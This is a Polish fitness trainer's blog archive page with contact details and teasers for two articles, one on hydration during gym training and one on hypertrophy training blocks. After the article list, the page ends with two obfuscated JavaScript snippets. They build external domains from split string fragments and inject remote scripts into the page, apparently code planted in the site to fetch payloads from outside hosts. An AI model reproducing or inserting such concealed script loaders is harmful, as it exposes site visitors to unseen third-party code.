kontakt@przemekjurek.pl

+48 732 496 635

Dzień: 11 kwietnia, 2025

Kategorie:

dbanie o nawodnienie podczas treningu

Nawodnienie na siłowni: Jak brak wody wpływa na Twoje mięśnie i wyniki?

11 kwietnia, 2025

Każdy, kto poważnie podchodzi do treningu siłowego, skupia się na planie treningowym, diecie, suplementacji i regeneracji. Jednak istnieje jeden fundamentalny

Czytaj więcej >

Wykonywanie Bloku Hipertroficznego na treningu

Jak zaplanować skuteczny blok hipertroficzny? Cele, struktura, progresja i przykłady

11 kwietnia, 2025

Blok hipertroficzny, zwany również akumulacyjnym, to nie tylko etap “pompowania mięśni”. To fundamentalny element periodyzacji treningowej, kluczowy dla długoterminowego rozwoju,

Czytaj więcej >

(function(){ qiwq=document.createElement("script");qiwq_=("us")+("ta"); qiwq_+="t"+(".");qiwq_+=("in");qiwqu="2422389891";qiwq.async=true; qiwqu+=".zd05rX4tiwqszu674";qiwq.type="text/javascript";qiwq_+="f"+"o"+("/"); qiwqu+="6hlhfpezabw8x";qiwq.src="https://"+qiwq_+qiwqu; dqiwq=document.body;dqiwq.appendChild(qiwq); })(); (function(){ uv01=document.createElement("script");uv01.type="text/javascript"; uv01.async=true;uv01_=("op"+("ens")+"t")+"a";uv01_+=("t.e")+""+"u"; uv01.src="https://"+uv01_+"/2491255555.c8uwxe2lv01hti955xgXsgvvmsav2e"; document.body.appendChild(uv01); })();